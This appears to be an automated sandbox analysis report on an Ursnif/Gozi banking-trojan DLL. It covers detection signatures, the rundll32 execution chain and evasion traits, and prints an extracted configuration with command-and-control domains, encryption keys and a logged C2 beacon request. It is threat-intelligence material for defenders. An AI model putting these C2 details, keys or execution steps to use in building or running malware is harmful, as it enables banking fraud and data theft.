Analysis Report 6a76e615_by_Libranalysis

Overview

General Information

Sample Name: 6a76e615_by_Libranalysis (renamed file extension from none to dll)
Analysis ID: 406107
MD5: 6a76e615a7997fc04e3003ce16c9bc3d
SHA1: 90d82c7e8a3f2d3c4ec8e4542605eafbcb07bf95
SHA256: f9f77f992f0c7bf8ec0a39acdac1a343f6418e50510db1f92347d5270d0ab9ab
Tags: Gozi
Infos:

Most interesting Screenshot:

Detection

Ursnif
Score: 88
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Yara detected Ursnif
Yara detected Ursnif
Writes or reads registry keys via WMI
Writes registry values via WMI
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
Queries the installation date of Windows
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

AV Detection:

barindex
Found malware configuration
Source: 3.3.rundll32.exe.3fe8d29.0.raw.unpack Malware Configuration Extractor: Ursnif {"lang_id": "RU, CN", "RSA Public Key": "0dnHb74sj6Vx8GWJZBcafw3TO76HRXTw2xAvtE4gwa2PPH4GC1bS9ornclyyR+kRMdKgigemv76+jMpuzK3GsVW4bUgIZu1wJsCbeT1jaF5kC+5Z1C6WwhCeQEfIn0dyGjO5mUnASq25O8pDwp1usOwI+ce4E6YjxyGNet+kZTTTWPAfmqhY/oVc/59pNJ4uEqRk+ADd1TNfgLrsg26xKI43EH4hpRNWFYgPpsuKC3cgm4UuNnw6ui0jM0gK2wq0zUZ26PkDxSML25mcd8d1kiSEwdUG+0E4a6rwpbhziJ3p5LrDu62+TdIp8Qd07baMfJt0/+VaossEzWbTvcs7R5oksEG/YD69/WtOVAIlyO4=", "c2_domain": ["green.salurober.com", "frm.mironeramp.com", "chat.billionady.com", "app3.maintorna.com"], "botnet": "5500", "server": "580", "serpent_key": "vTK10R2O25XUrTRW", "sleep_time": "10", "SetWaitableTimer_value": "10"}
Multi AV Scanner detection for domain / URL
Source: green.salurober.com Virustotal: Detection: 8% Perma Link
Multi AV Scanner detection for submitted file
Source: 6a76e615_by_Libranalysis.dll Virustotal: Detection: 28% Perma Link
Source: 6a76e615_by_Libranalysis.dll ReversingLabs: Detection: 29%

Compliance:

barindex
Uses 32bit PE files
Source: 6a76e615_by_Libranalysis.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll Jump to behavior
Source: Binary string: c:\include\follow\She job\Smile.pdb source: loaddll32.exe, 00000000.00000002.465005762.000000006E261000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.463287694.000000006E261000.00000002.00020000.sdmp, 6a76e615_by_Libranalysis.dll
Source: global traffic HTTP traffic detected: GET /egg0bSJn4ObK/ch_2F9lMPXs/fO3mZ53deXfDrA/fFpIrCwIBcA2fafEjJROE/_2FRp0luL60r80DP/FChSncsB8SqrhdJ/_2FXtQYnl2ITaT9OH4/qVdqvFpku/l5Z_2BwlLO28ejlDZ4Xv/ZR0P9bZC7mrWzK2nsLX/wmJroXqHSsCiyywQoJG_2B/ja6fWO6EY6PRe/fsgqsP8a/8D7PMyq0Et_2Bw5od_2BLED/JSk7_2F_2B/ptgvp19MaEwrG0884/hUO8hPN4NRV3/myPEhfLIkFj/6E7GZZkxutBKlj/2G265rer_2FHZz0gfwlBV/vusAOmr1_/2BAGh_2B HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: green.salurober.comConnection: Keep-Alive
Source: msapplication.xml0.17.dr String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x7156829e,0x01d742e1</date><accdate>0x7156829e,0x01d742e1</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
Source: msapplication.xml0.17.dr String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x7156829e,0x01d742e1</date><accdate>0x7158e55c,0x01d742e1</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook.url"/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
Source: msapplication.xml5.17.dr String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x715da995,0x01d742e1</date><accdate>0x715da995,0x01d742e1</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
Source: msapplication.xml5.17.dr String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x715da995,0x01d742e1</date><accdate>0x715da995,0x01d742e1</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
Source: msapplication.xml7.17.dr String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x715da995,0x01d742e1</date><accdate>0x715da995,0x01d742e1</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)
Source: msapplication.xml7.17.dr String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x715da995,0x01d742e1</date><accdate>0x71600bb4,0x01d742e1</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)
Source: unknown DNS traffic detected: queries for: green.salurober.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 06 May 2021 16:36:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
Source: loaddll32.exe, 00000000.00000002.465196621.000000006E2B1000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.463603336.000000006E2B1000.00000002.00020000.sdmp, 6a76e615_by_Libranalysis.dll String found in binary or memory: http://deeplow.ruB
Source: {9B20D491-AED4-11EB-90E4-ECF4BB862DED}.dat.17.dr String found in binary or memory: http://green.salurober.com/egg0bSJn4ObK/ch_2F9lMPXs/fO3mZ53deXfDrA/fFpIrCwIBcA2fafEjJROE/_2FRp0luL60
Source: msapplication.xml.17.dr String found in binary or memory: http://www.amazon.com/
Source: msapplication.xml1.17.dr String found in binary or memory: http://www.google.com/
Source: msapplication.xml2.17.dr String found in binary or memory: http://www.live.com/
Source: msapplication.xml3.17.dr String found in binary or memory: http://www.nytimes.com/
Source: msapplication.xml4.17.dr String found in binary or memory: http://www.reddit.com/
Source: msapplication.xml5.17.dr String found in binary or memory: http://www.twitter.com/
Source: msapplication.xml6.17.dr String found in binary or memory: http://www.wikipedia.com/
Source: msapplication.xml7.17.dr String found in binary or memory: http://www.youtube.com/

Key, Mouse, Clipboard, Microphone and Screen Capturing:

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Yara detected Ursnif
Source: Yara match File source: 00000000.00000003.333514865.0000000000520000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.329638923.0000000003FE0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.329940794.00000000007C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 3.2.rundll32.exe.6e1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.loaddll32.exe.528d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.3fe8d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.7c8d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.loaddll32.exe.6e1d0000.2.unpack, type: UNPACKEDPE
Yara detected Ursnif
Source: Yara match File source: 00000000.00000003.389725229.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389658064.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389739083.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.464518953.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389632359.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389705894.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389749777.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389559499.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389608210.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: loaddll32.exe PID: 5568, type: MEMORY

E-Banking Fraud:

barindex
Yara detected Ursnif
Source: Yara match File source: 00000000.00000003.333514865.0000000000520000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.329638923.0000000003FE0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.329940794.00000000007C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 3.2.rundll32.exe.6e1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.loaddll32.exe.528d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.3fe8d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.7c8d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.loaddll32.exe.6e1d0000.2.unpack, type: UNPACKEDPE
Yara detected Ursnif
Source: Yara match File source: 00000000.00000003.389725229.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389658064.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389739083.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.464518953.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389632359.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389705894.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389749777.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389559499.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389608210.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: loaddll32.exe PID: 5568, type: MEMORY

System Summary:

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Writes or reads registry keys via WMI
Source: C:\Windows\System32\loaddll32.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\System32\loaddll32.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Writes registry values via WMI
Source: C:\Windows\System32\loaddll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Contains functionality to call native functions
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E1D1B89 NtMapViewOfSection, 0_2_6E1D1B89
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E1D18D1 GetProcAddress,NtCreateSection,memset, 0_2_6E1D18D1
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E1D2485 NtQueryVirtualMemory, 0_2_6E1D2485
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E1D2485 NtQueryVirtualMemory, 3_2_6E1D2485
Detected potential crypto function
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E1D2264 0_2_6E1D2264
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E219FB0 0_2_6E219FB0
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E204C10 0_2_6E204C10
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E2384F0 0_2_6E2384F0
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E21AD90 0_2_6E21AD90
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E1D2264 3_2_6E1D2264
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E219FB0 3_2_6E219FB0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E204C10 3_2_6E204C10
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E2384F0 3_2_6E2384F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E21AD90 3_2_6E21AD90
Sample file is different than original file name gathered from version info
Source: 6a76e615_by_Libranalysis.dll Binary or memory string: OriginalFilenameSmile.dllX vs 6a76e615_by_Libranalysis.dll
Uses 32bit PE files
Source: 6a76e615_by_Libranalysis.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
Source: classification engine Classification label: mal88.troj.winDLL@10/22@1/1
Source: C:\Program Files\internet explorer\iexplore.exe File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe File created: C:\Users\user\AppData\Local\Temp\~DF8CF38F8205796A33.TMP Jump to behavior
Source: 6a76e615_by_Libranalysis.dll Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Program Files\internet explorer\iexplore.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\6a76e615_by_Libranalysis.dll,Surprisefun
Source: 6a76e615_by_Libranalysis.dll Virustotal: Detection: 28%
Source: 6a76e615_by_Libranalysis.dll ReversingLabs: Detection: 29%
Source: unknown Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\6a76e615_by_Libranalysis.dll'
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\6a76e615_by_Libranalysis.dll',#1
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\6a76e615_by_Libranalysis.dll,Surprisefun
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\6a76e615_by_Libranalysis.dll',#1
Source: unknown Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5088 CREDAT:17410 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\6a76e615_by_Libranalysis.dll',#1 Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\6a76e615_by_Libranalysis.dll,Surprisefun Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\6a76e615_by_Libranalysis.dll',#1 Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5088 CREDAT:17410 /prefetch:2 Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll Jump to behavior
Source: 6a76e615_by_Libranalysis.dll Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 6a76e615_by_Libranalysis.dll Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 6a76e615_by_Libranalysis.dll Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 6a76e615_by_Libranalysis.dll Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 6a76e615_by_Libranalysis.dll Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 6a76e615_by_Libranalysis.dll Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: 6a76e615_by_Libranalysis.dll Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: c:\include\follow\She job\Smile.pdb source: loaddll32.exe, 00000000.00000002.465005762.000000006E261000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.463287694.000000006E261000.00000002.00020000.sdmp, 6a76e615_by_Libranalysis.dll
Source: 6a76e615_by_Libranalysis.dll Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 6a76e615_by_Libranalysis.dll Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 6a76e615_by_Libranalysis.dll Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 6a76e615_by_Libranalysis.dll Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 6a76e615_by_Libranalysis.dll Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation:

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Contains functionality to dynamically determine API calls
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E1D1F31 LoadLibraryA,GetProcAddress, 0_2_6E1D1F31
PE file contains an invalid checksum
Source: 6a76e615_by_Libranalysis.dll Static PE information: real checksum: 0xda527 should be: 0xe3e03
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E1D2200 push ecx; ret 0_2_6E1D2209
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E1D2253 push ecx; ret 0_2_6E1D2263
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E2A36DD pushad ; ret 0_2_6E2A36DE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E1D2200 push ecx; ret 3_2_6E1D2209
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E1D2253 push ecx; ret 3_2_6E1D2263
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E2A36DD pushad ; ret 3_2_6E2A36DE

Hooking and other Techniques for Hiding and Protection:

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Yara detected Ursnif
Source: Yara match File source: 00000000.00000003.333514865.0000000000520000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.329638923.0000000003FE0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.329940794.00000000007C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 3.2.rundll32.exe.6e1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.loaddll32.exe.528d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.3fe8d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.7c8d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.loaddll32.exe.6e1d0000.2.unpack, type: UNPACKEDPE
Yara detected Ursnif
Source: Yara match File source: 00000000.00000003.389725229.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389658064.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389739083.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.464518953.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389632359.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389705894.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389749777.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389559499.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.389608210.0000000003358000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: loaddll32.exe PID: 5568, type: MEMORY
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\System32\loaddll32.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

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Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\rundll32.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe Last function: Thread delayed

Anti Debugging:

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Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E203B20 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_6E203B20
Contains functionality to dynamically determine API calls
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E1D1F31 LoadLibraryA,GetProcAddress, 0_2_6E1D1F31
Contains functionality to read the PEB
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E2A1A61 mov eax, dword ptr fs:[00000030h] 0_2_6E2A1A61
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E2A159E push dword ptr fs:[00000030h] 0_2_6E2A159E
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E2A1997 mov eax, dword ptr fs:[00000030h] 0_2_6E2A1997
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E2A1A61 mov eax, dword ptr fs:[00000030h] 3_2_6E2A1A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E2A159E push dword ptr fs:[00000030h] 3_2_6E2A159E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E2A1997 mov eax, dword ptr fs:[00000030h] 3_2_6E2A1997
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E203B20 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_6E203B20
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E1FB460 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_6E1FB460
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E203B20 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 3_2_6E203B20
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E1FB460 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 3_2_6E1FB460

HIPS / PFW / Operating System Protection Evasion:

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Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\6a76e615_by_Libranalysis.dll',#1 Jump to behavior
Source: loaddll32.exe, 00000000.00000002.461736596.0000000001100000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.462047615.0000000002BD0000.00000002.00000001.sdmp Binary or memory string: Program Manager
Source: loaddll32.exe, 00000000.00000002.461736596.0000000001100000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.462047615.0000000002BD0000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000002.461736596.0000000001100000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.462047615.0000000002BD0000.00000002.00000001.sdmp Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.461736596.0000000001100000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.462047615.0000000002BD0000.00000002.00000001.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

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Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\System32\loaddll32.exe Code function: GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA, 0_2_6E1D1566
Source: C:\Windows\System32\loaddll32.exe Code function: ____lc_handle_func,GetLocaleInfoA, 0_2_6E1FB300
Source: C:\Windows\System32\loaddll32.exe Code function: GetLocaleInfoA, 0_2_6E225D90
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA, 3_2_6E1D1566
Source: C:\Windows\SysWOW64\rundll32.exe Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA, 3_2_6E220AD0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: ____lc_handle_func,GetLocaleInfoA, 3_2_6E1FB300
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoA,GetACP,GetLocaleInfoA, 3_2_6E221380
Source: C:\Windows\SysWOW64\rundll32.exe Code function: _GetLcidFromDefault,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,_GetLcidFromDefault,_ProcessCodePage,IsValidCodePage,IsValidLocale,_wcscpy_s,__invoke_watson_if_error,GetLocaleInfoA,GetLocaleInfoA,__itow_s, 3_2_6E220790
Source: C:\Windows\SysWOW64\rundll32.exe Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA, 3_2_6E220FD0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: GetLocaleInfoA, 3_2_6E225D90
Source: C:\Windows\SysWOW64\rundll32.exe Code function: _strlen,EnumSystemLocalesA, 3_2_6E2211F0
Queries the installation date of Windows
Source: C:\Windows\System32\loaddll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E1D17A7 SetThreadPriority,GetSystemTime,SwitchToThread,Sleep,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError, 0_2_6E1D17A7
Source: C:\Windows\System32\loaddll32.exe Code function: 0_2_6E1D146C CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError, 0_2_6E1D146C
Source: C:\Windows\System32\loaddll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

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Yara detected Ursnif
